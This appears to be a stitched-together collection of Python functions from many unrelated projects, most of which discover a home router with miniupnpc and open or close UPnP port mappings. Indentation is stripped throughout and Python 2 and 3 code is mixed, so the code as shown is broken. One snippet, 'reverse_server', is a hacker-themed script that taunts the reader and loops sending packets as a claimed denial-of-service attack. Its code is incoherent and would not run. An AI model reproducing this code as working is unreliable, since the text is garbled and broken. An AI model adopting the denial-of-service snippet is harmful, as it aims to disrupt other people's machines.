def __init__(self, discovery_delay: int = 200):
"""
:param discovery_delay: IGD discovery delay in ms
"""
self.upnp = miniupnpc.UPnP()
self.upnp.discoverdelay = discovery_delay
self._available = None
def connect():
"""Try to connect to the router.
Returns:
u (miniupnc.UPnP): the connected upnp-instance
router (string): the connection information
"""
upnp = miniupnpc.UPnP()
upnp.discoverdelay = 200
providers = upnp.discover()
if providers > 1:
log.warning('multiple upnp providers found', num_providers=providers)
elif providers < 1:
log.error('no upnp providers found')
return
try:
location = upnp.selectigd()
log.debug('connected', upnp=upnp)
except Exception as e:
log.error('Error when connecting to uPnP provider', exception_info=e)
return None
if not valid_mappable_ipv4(upnp.lanaddr):
log.error('could not query your lanaddr', reported=upnp.lanaddr)
return
try: # this can fail if router advertises uPnP incorrectly
if not valid_mappable_ipv4(upnp.externalipaddress()):
log.error('could not query your externalipaddress',
reported=upnp.externalipaddress())
return
return upnp, location
except Exception:
log.error('error when connecting with uPnP provider',
location=location)
return None
def __init__(self):
import miniupnpc
print('Finding router ip...')
upnp = miniupnpc.UPnP()
upnp.discoverdelay = 10
upnp.discover()
upnp.selectigd()
self.local_host = upnp.lanaddr
self.external_host = ipgetter.myip()
self.local_port = 4455
self.external_port = 43210
while True:
upnp.addportmapping(self.external_port, 'TCP', self.local_host,
self.local_port, 'Vokiso', '')
try:
self.sock = mesh.MeshSocket(self.local_host,
self.local_port,
out_addr=(self.external_host,
self.external_port))
except OSError:
self.local_port += 1
self.external_port += 1
continue
break
self.connected_event = Event()
self.sock.once('connect')(lambda sock: self.connected_event.set())
self.send_lock = Lock()
def look_for_nat():
# create the object
u = miniupnpc.UPnP()
# print ('inital(default) values :')
# print (' discoverdelay', u.discoverdelay)
# print (' lanaddr', u.lanaddr)
# print (' multicastif', u.multicastif)
# print (' minissdpdsocket', u.minissdpdsocket)
u.discoverdelay = 200
#u.minissdpdsocket = '../minissdpd/minissdpd.sock'
# discovery process, it usualy takes several seconds (2 seconds or more)
logging.debug('Discovering... delay=%ums' % u.discoverdelay)
nb_devices = u.discover()
logging.info('%d device(s) detected' % nb_devices)
if nb_devices == 0:
return None
# select an igd
try:
u.selectigd()
except Exception as e:
logging.error('Exception :', e)
sys.exit(1)
# display information about the IGD and the internet connection
logging.info("local ip address : %s" % u.lanaddr)
logging.info("external ip address :%s" % u.externalipaddress())
# print u.statusinfo(), u.connectiontype()
return Nat(u)
def __init__(self):
'''
Constructor
'''
self.upnp = miniupnpc.UPnP()
self.debug('inital(default) values :')
self.debug_upnp_values()
self.upnp.discoverdelay = 200
self.debug('Discovering... delay=%ums' % self.upnp.discoverdelay)
self.debug(self.upnp.discover(), 'device(s) detected')
try:
self.upnp.selectigd()
self.UPNP_DEVICE_AVAILABLE = True
except Exception as e:
print 'Exception :', e
self.UPNP_DEVICE_AVAILABLE = False
return
# display information about the IGD and the internet connection
self.debug_addresses()
self.debug("Status Info:", self.get_status_info())
self.debug("Connection Type:", self.get_connection_type())
self.debug_upnp_values()
def listen(self):
try:
import miniupnpc
self.upnp = miniupnpc.UPnP()
self.upnp.discoverdelay = 10
if (self.upnp.discover() > 0):
self.upnp.selectigd()
try:
if (self.upnp.getspecificportmapping(self.port, "TCP")):
self.upnp.deleteportmapping(self.port, 'TCP')
self.upnp.addportmapping(self.port, 'TCP',
self.upnp.lanaddr, self.port,
tr("app.title"), '')
self.printMessage(
tr("upnp.external.ip") + self.upnp.externalipaddress())
self.upnpEnabled = True
except Exception:
self.printMessage(tr("upnp.error.add"))
except ImportError:
self.printMessage(tr("upnp.error.load"))
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
self.sock.bind((self.host, self.port))
self.sock.listen(1)
except OSError:
self.printMessage(tr("error.server.listening"))
self.stop()
def setup(hass, config):
"""Register a port mapping for Home Assistant via UPnP."""
import miniupnpc
upnp = miniupnpc.UPnP()
upnp.discoverdelay = 200
upnp.discover()
try:
upnp.selectigd()
except Exception:
_LOGGER.exception("Error when attempting to discover an UPnP IGD")
return False
base_url = urlsplit(hass.config.api.base_url)
host = base_url.hostname
external_port = internal_port = base_url.port
upnp.addportmapping(external_port, 'TCP', host, internal_port,
'Home Assistant', '')
def deregister_port(event):
"""De-register the UPnP port mapping."""
upnp.deleteportmapping(hass.config.api.port, 'TCP')
hass.bus.listen_once(EVENT_HOMEASSISTANT_STOP, deregister_port)
return True
async def start_somewhere(runner):
print("Searching for an open port...")
for port in range(48654, 49150):
if port == 49000: # reserved
continue
site = web.TCPSite(runner, "", port)
try:
await site.start()
except Exception as e:
print(chalk.red(f"Unable to start on port {port}: {e}"))
continue
print(chalk.green(f"Started server on port {port} successfully!"))
break
else:
print(chalk.red("Could not use any available port."))
raise SystemExit(1)
print("Opening port via UPnP...")
upnp = miniupnpc.UPnP()
upnp.discoverdelay = 10
upnp.discover()
upnp.selectigd()
if upnp.addportmapping(port, "TCP", upnp.lanaddr, port, "PijulGit proxy",
""):
print(chalk.green(f"Opened port {port} successfully!"))
else:
print(chalk.red(f"Failed to open port {port} :("))
return site, port
def setup(hass, config):
"""Register a port mapping for Home Assistant via UPnP."""
# pylint: disable=import-error
import miniupnpc
# pylint: disable=no-member
upnp = miniupnpc.UPnP()
upnp.discoverdelay = 200
upnp.discover()
try:
upnp.selectigd()
# pylint: disable=broad-except
except Exception:
_LOGGER.exception("Error when attempting to discover a UPnP IGD")
return False
upnp.addportmapping(hass.config.api.port, "TCP", hass.config.api.host,
hass.config.api.port, "Home Assistant", "")
def deregister_port(event):
"""De-register the UPnP port mapping."""
upnp.deleteportmapping(hass.config.api.port, "TCP")
hass.bus.listen_once(EVENT_HOMEASSISTANT_STOP, deregister_port)
return True
def portForward(port):
"""Attempt to forward a port on your router to the specified local port. Prints lots of debug info."""
try:
import miniupnpc
u = miniupnpc.UPnP(None, None, 200, port)
#Begin Debug info
safeprint('inital(default) values :')
safeprint(' discoverdelay' + str(u.discoverdelay))
safeprint(' lanaddr' + str(u.lanaddr))
safeprint(' multicastif' + str(u.multicastif))
safeprint(' minissdpdsocket' + str(u.minissdpdsocket))
safeprint('Discovering... delay=%ums' % u.discoverdelay)
safeprint(str(u.discover()) + 'device(s) detected')
#End Debug info
u.selectigd()
global ext_ip
ext_ip = u.externalipaddress()
safeprint("external ip is: " + str(ext_ip))
for i in range(0, 20):
try:
safeprint("Port forward try: " + str(i), verbosity=1)
if u.addportmapping(port + i, 'TCP', get_lan_ip(), port,
'Bounty Net', ''):
global ext_port
ext_port = port + i
safeprint("External port is " + str(ext_port))
return True
except Exception as error:
safeprint("Failed: " + str(type(error)))
safeprint(error)
except Exception as error:
safeprint("Failed: " + str(type(error)))
safeprint(error)
return False
def try_map_port(port):
""" Try to map a port """
try:
import miniupnpc
except ImportError:
return False
try:
upnp = miniupnpc.UPnP()
upnp.discover()
upnp.selectigd()
b = upnp.addportmapping(
port,
'TCP',
upnp.lanaddr,
port,
'dht3k port: %u' % port,
'',
)
if b:
return True
return False
except Exception:
l.exception("Portmapping failed")
return False
def reverse_server():
print("[*] CONNECTION CREATED, STARTING SERVER")
IP , sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
u = miniupnpc.UPnP()
u.discoverdelay = 200
u.discover()
u.selectigd()
print('[+] HACKER\'S IP ADDRESS: {}'.format(u.externalipaddress()))
time.sleep(10)
port = ("80" , "443" , "3389" , "53")
sock.bind((u , port))
print("[+] ATTACKING SERVER... DON'T TRY ME")
if sock.listen(2):
print("[!] SERVER UP AND RUNNING: SAVING SESSION")
f = open(".SESSION.txt" , "w")
with f:
f.write(f"{sock.gethostbyaddr(IP)}")
f.close()
elif sock.listen(1):
print("[+] ONE DOWN, ONE MORE LEFT. YOU HAVE 10 MINUTES")
time.sleep(10000000)
print("""
[*] TIME IS UP... FORGOT TO TELL YOU, THE SESSION WAS LOGGED AND A DENIAL OF SERVICE IS LAUNCHED.
""")
while True:
sock.connect_ex(IP , port)
sock.send("HTTP 1/1 NOTIFY")
sock.close()
print("[+] IF THAT WASN'T ENOUGH HERE IS MORE :)")
dos=sr1(IP(dst=IP ,src=u)/TCP())
if sock.listen() == 0:
print("[+] SERVER SHUTTING DOWN")
sock.close()
elif sock.listen() == 1:
print("[!] One more hacker left, Performing Denial Of Service layer 7 and 3 attacks")
def get_httpd(path):
class LoggingHTTPHandler(http.server.SimpleHTTPRequestHandler):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs, directory=path)
def log_message(self, format, *args):
log.debug("%s - - [%s] %s" %
(self.address_string(), self.log_date_time_string(),
format % args))
upnp = miniupnpc.UPnP()
upnp.discoverdelay = 10
upnp.discover()
upnp.selectigd()
host = upnp.lanaddr
while True:
port = random.randint(1024, 65535) # random port
try:
upnp.addportmapping(port, 'TCP', host, port, 'Naxos HTTP Server',
'')
break # no exception, so mapping worked
except:
pass
remove_mapping = lambda: upnp.deleteportmapping(port, 'TCP',
'Naxos HTTP Server')
public_host = upnp.externalipaddress()
return socketserver.TCPServer(
(host, port), LoggingHTTPHandler), remove_mapping, (public_host, port)
def __init__(self, selector, cache):
"""Create new network node with uPnP forwarding and a listening socket.
All opened sockets are registered with selector (select wrapper).
"""
# upnp port forwarding config
self.upnp = miniupnpc.UPnP()
self.upnp.discoverdelay = 10
self.upnp.discover()
self.upnp.selectigd()
found_port = False
while not found_port:
host = self.upnp.lanaddr
port = random.randint(1024, 65535)
self.listen_sock, port = create_listening_socket(host, port)
self.listen_addr = (self.upnp.externalipaddress(), port)
try:
self.register_forwarding(host, port)
except:
self.listen_sock.close()
continue
self.port = port
found_port = True
log.debug('listening on (%s, %s)', host, port)
self.selector = selector
self.selector.register(self.listen_sock, selectors.EVENT_READ)
self.cache = cache
self.address_pool = set()
self.connections = {} # map address -> Connection object
self.done = False
def __init__(self):
try:
import miniupnpc
self.loaded = True
except ImportError:
p_bits, p_os = platform.architecture()
if p_os == 'ELF':
if p_bits == '64bit':
if os.path.exists('miniupnpc_64.so'):
os.symlink('miniupnpc_64.so', 'miniupnpc.so')
import miniupnpc
self.loaded = True
else:
if os.path.exists('miniupnpc_32.so'):
os.symlink('miniupnpc_32.so', 'miniupnpc.so')
import miniupnpc
self.loaded = True
if self.loaded:
self.upnpc = miniupnpc.UPnP()
self.upnpc.discoverdelay = 200
self.upnpc.discover()
try:
self.upnpc.selectigd()
self.external_ip = self.upnpc.externalipaddress()
self.local_ip = self.upnpc.lanaddr
self.works = True
except:
pass
if not self.loaded or not self.works:
self.alternate_get_ip()
def get_external_ip():
u = miniupnpc.UPnP()
u.discoverdelay = 200
u.discover()
u.selectigd()
# print('external ip address: {}'.format(u.externalipaddress()))
return u.externalipaddress()
def connect():
"""Try to connect to the router.
Returns:
u (miniupnc.UPnP): the connected upnp-instance
router (string): the connection information
"""
upnp = miniupnpc.UPnP()
upnp.discoverdelay = 200
providers = upnp.discover()
if providers > 1:
log.warning("multiple upnp providers found", num_providers=providers)
elif providers < 1:
log.error("no upnp providers found")
return
router = upnp.selectigd()
log.debug("connected", router=router)
if upnp.lanaddr == '0.0.0.0':
log.error("could not query your lanaddr")
return
if upnp.externalipaddress(
) == '0.0.0.0' or upnp.externalipaddress() is None:
log.error("could not query your externalipaddress")
return
return upnp, router
def run():
try:
self.upnp = miniupnpc.UPnP()
self.upnp.discoverdelay = 30
self.upnp.discover()
self.upnp.selectigd()
keep_going = True
while keep_going:
msg = self.queue.get()
if msg[0] == "remap":
port = msg[1]
log.info(
f"Attempting to enable UPnP (open up port {port})")
self.upnp.deleteportmapping(port, "TCP")
self.upnp.addportmapping(port, "TCP",
self.upnp.lanaddr, port,
"chia", "")
log.info(
f"Port {port} opened with UPnP. lanaddr {self.upnp.lanaddr} "
f"external: {self.upnp.externalipaddress()}")
elif msg[0] == "release":
port = msg[1]
self.upnp.deleteportmapping(port, "TCP")
log.info(f"Port {port} closed with UPnP")
elif msg[0] == "shutdown":
keep_going = False
except Exception as e:
log.info(
"UPnP failed. This is not required to run chia, it allows incoming connections from other peers."
)
log.info(e)
def __init__(self, delay: int = 200, *args, **kwargs):
super().__init__(*args, **kwargs)
self.client = miniupnpc.UPnP()
self.client.discoverdelay = delay
asyncio.ensure_future(self.connect())
def upnp_portforward(port):
try:
import miniupnpc
except ImportError:
print("Could not load miniupnpc module. Skipping upnp forward.")
return
global upnp
print("Searching for upnp gateway...")
try:
upnp = miniupnpc.UPnP()
upnp.discoverdelay = 3
upnp.discover()
upnp.selectigd()
except Exception as e:
print(e)
return
print("Adding port forwarding...")
try:
result = upnp.addportmapping(port, 'TCP', upnp.lanaddr, port,
'bynq2ynab-autosync', '')
if not result:
print("Could not add port forwarding.")
return
except Exception as e:
print(e)
return
global mapped_port
mapped_port = port
def server():
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((miniupnpc.UPnP().lanaddr, port_no))
server_socket.listen()
selector.register(fileobj=server_socket,
events=selectors.EVENT_READ,
data=accept_connection)
def map_port_UPnP(self, port, description):
upnp = miniupnpc.UPnP()
upnp.discoverdelay = 10
upnp.discover()
upnp.selectigd()
upnp.addportmapping(port, 'TCP', upnp.lanaddr, port, description, '')
def port_fwd(external_port, internal_port, protocol, name):
u = miniupnpc.UPnP()
if u.discover() > 0:
u.selectigd()
u.deleteportmapping(external_port, protocol)
u.addportmapping(external_port, protocol, u.lanaddr, internal_port,
name, '')
else:
print "No UPnP Device found"
def init():
u = miniupnpc.UPnP()
u.discoverdelay = 200
print u.discover()
try:
u.selectigd()
except Exception, e:
print 'Exception :', e
sys.exit(1)
def getIP():
import miniupnpc
u = miniupnpc.UPnP()
u.discoverdelay = 200
ndevices = u.discover()
if ndevices == 0:
print("ERROR: Could not find UPnp devices.")
return None
u.selectigd()
return u.externalipaddress()
def findRouterMini():
upnpc = miniupnpc.UPnP()
upnpc.discoverdelay = MiniDelay
try:
num = upnpc.discover()
upnpc.selectigd()
except Exception, err:
logMessage("MiniUPnPc Error: " + unicode(err), False)
return False
def forward_port(signum, frame):
print('Enable forwarding')
external_port = internal_port = port
upnp = miniupnpc.UPnP()
upnp.discoverdelay = 20
print (upnp.discover())
upnp.selectigd()
return upnp.addportmapping(external_port, 'TCP', upnp.lanaddr, internal_port, '', '')
def upnp_remap_port(port):
log.info(f"Attempting to enable UPnP (open up port {port})")
try:
upnp = miniupnpc.UPnP()
upnp.discoverdelay = 30
upnp.discover()
upnp.selectigd()
upnp.addportmapping(port, "TCP", upnp.lanaddr, port, "chia", "")
log.info(f"Port {port} opened with UPnP. lanaddr {upnp.lanaddr} external: {upnp.externalipaddress()}")
except Exception:
log.info("UPnP failed. This is not required to run chia, but it allows incoming connections from other peers.")
def setup(hass, config):
"""Register a port mapping for Home Assistant via UPnP."""
import miniupnpc
upnp = miniupnpc.UPnP()
hass.data[DATA_UPNP] = upnp
upnp.discoverdelay = 200
upnp.discover()
try:
upnp.selectigd()
except Exception:
_LOGGER.exception("Error when attempting to discover an UPnP IGD")
return False
unit = config[DOMAIN].get(CONF_UNITS)
discovery.load_platform(hass, 'sensor', DOMAIN, {'unit': unit}, config)
port_mapping = config[DOMAIN].get(CONF_ENABLE_PORT_MAPPING)
if not port_mapping:
return True
base_url = urlsplit(hass.config.api.base_url)
host = base_url.hostname
internal_port = base_url.port
external_port = int(config[DOMAIN].get(CONF_EXTERNAL_PORT))
if external_port == 0:
external_port = internal_port
persistent_notification = loader.get_component('persistent_notification')
try:
upnp.addportmapping(
external_port, 'TCP', host, internal_port, 'Home Assistant', '')
def deregister_port(event):
"""De-register the UPnP port mapping."""
upnp.deleteportmapping(external_port, 'TCP')
hass.bus.listen_once(EVENT_HOMEASSISTANT_STOP, deregister_port)
except Exception as ex:
_LOGGER.error("UPnP failed to configure port mapping: %s", str(ex))
persistent_notification.create(
hass, '<b>ERROR: tcp port {} is already mapped in your router.'
'</b><br />Please disable port_mapping in the <i>upnp</i> '
'configuration section.<br />'
'You will need to restart hass after fixing.'
''.format(external_port),
title=NOTIFICATION_TITLE,
notification_id=NOTIFICATION_ID)
return False
return True
def threaded_unset_upnp():
u = miniupnpc.UPnP()
num_devices_found = u.discover()
if num_devices_found > 0:
u.selectigd()
for port, protocol in self.upnp_redirects:
if u.getspecificportmapping(port, protocol) is None:
log.warning("UPnP redirect for %s %d was removed by something else.", protocol, port)
else:
u.deleteportmapping(port, protocol)
log.info("Removed UPnP redirect for %s %d.", protocol, port)
self.upnp_redirects = []
